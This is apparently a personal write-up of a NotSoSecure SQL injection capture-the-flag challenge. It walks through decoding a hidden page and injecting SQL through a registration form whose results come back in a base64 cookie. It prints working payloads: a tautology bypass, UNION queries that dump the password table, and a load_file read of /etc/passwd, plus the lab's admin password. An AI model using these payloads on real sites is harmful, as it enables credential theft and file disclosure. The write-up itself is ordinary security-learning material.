• Tweet
• Sumo

• Tweet

The team behind NotSoSecure.com put out a public Capture The Flag competition to celebrate the launch of SQLi Labs.

The CTF was based mostly on SQL Injection vulnerabilities found in web applications. The goal was to find 2 hidden flags and submit them to ctf.NotSoSecure.com and to also stand a chance at getting one free ticket to the AppSec USA Conference plus $125 cash.

Find below a workthrough of how I did this

Steps

• I started off by trying to guess usernames/passwords using the common ones i.e. admin/admin, admin/pass, admin/1234, etc but the web application kept throwing up errors.
• So next step was to try and check the request/response being sent to/recieved by the server.
• I configured my Burp Proxy so I could interfere all requests being sent; while looking closely, I noticed there was an additional data embedded in the 302 response I got "7365637265745f72656769737465722e68746d6c".
• I immediately sent it to the hex decoder, decrypted it to plain text and lo and behold, I had "secret_register.html".
• So I fired up my browser again and visited "http://ctf.notsosecure.com/71367217217126217712/secret_register.html".
• Right before me was a "Registration Page". I then tried registering with admin but got an error that the username "admin" had been taken.
• Next step was to sign up using another username. This time, I used "hax0r123" and I was able to register and I eventually logged in as user "hax0r123".
• After checking everything else, I resorted to checking my cookies and realised I had 2 cookies : PHPSESSID and session_id.
• The session_id cookie looked suspicious especially 'cos it looked like a base64 encoded string. I then fired up my browser again and visited http://www.snarkles.net/scripts/sneak/sneak.php so I could decrypt it. Decrypted it and found out it was the email we registered with that got encoded.
• I then tried re-registering with email "testing1234@test.com" and also realised the same thing: our registered email account gets base64 encoded and reflects back to the page.
• Next step was to register with username : bb' or 'bb' = 'bb
• When sent, we'll have a query like this "SELECT * FROM Users WHERE Username=bb' or 'bb' = 'bb //We are assuming that the tablename "users" and the columnname "username" exists.
• I logged in, viewed the cookie, decrypted the base64 string "YWRtaW5Ac3FsaWxhYnMuY29t" and we had "admin@sqlilabs.com".
• Next step was to retrieve the password but first, we had to get the tablename. .
• So we used the query "rotimi' union select (select table_name FROM information_schema.columns WHERE column_name LIKE '%pass%'), '1"
• I was actually telling the web app to select the tablename that has a column_name like "pass". .I registered, checked the cookie field, decrypted the string and I found out we have a table called "users".
• Next step was to pull the password from the table "users" using the query
• "rotimi' union all select password from users–"
• But after this, I discovered we had only 1 cookie "PHPSESSID"  and the other cookie "session_id" was deleted. I immediately knew there was something wrong with the query.
• So I added a second column and my new query became
• "rotimi' union all select password,null from users–"
• I checked the cookies, decrypted the session_id value and poof, I had the password "sqlilabRocKs!!"
• So I logged in with username/password : admin/sqlilabRocKs!! aand I was logged in as the admin.
• I also went further to see if we have access to load files using the query
• "rotimi' and 1=2 union select load_file('/etc/passwd'),null–"
• w000t?!!!

Commands

rotimi' union select (select table_name FROM information_schema.columns WHERE column_name LIKE '%pass%'), '1

rotimi' union all select password from users--

rotimi' union all select password,null from users--

Username : admin@sqlilabs.com
Pssword: sqlilabRocKs!!

rotimi' and 1=2 union select load_file('/etc/passwd'),null--

Sadly, I wasn't able to get the 2nd flag but then, this exercise was awesome and at the same time challenging.

Big Ups to the NotSoSecure Team.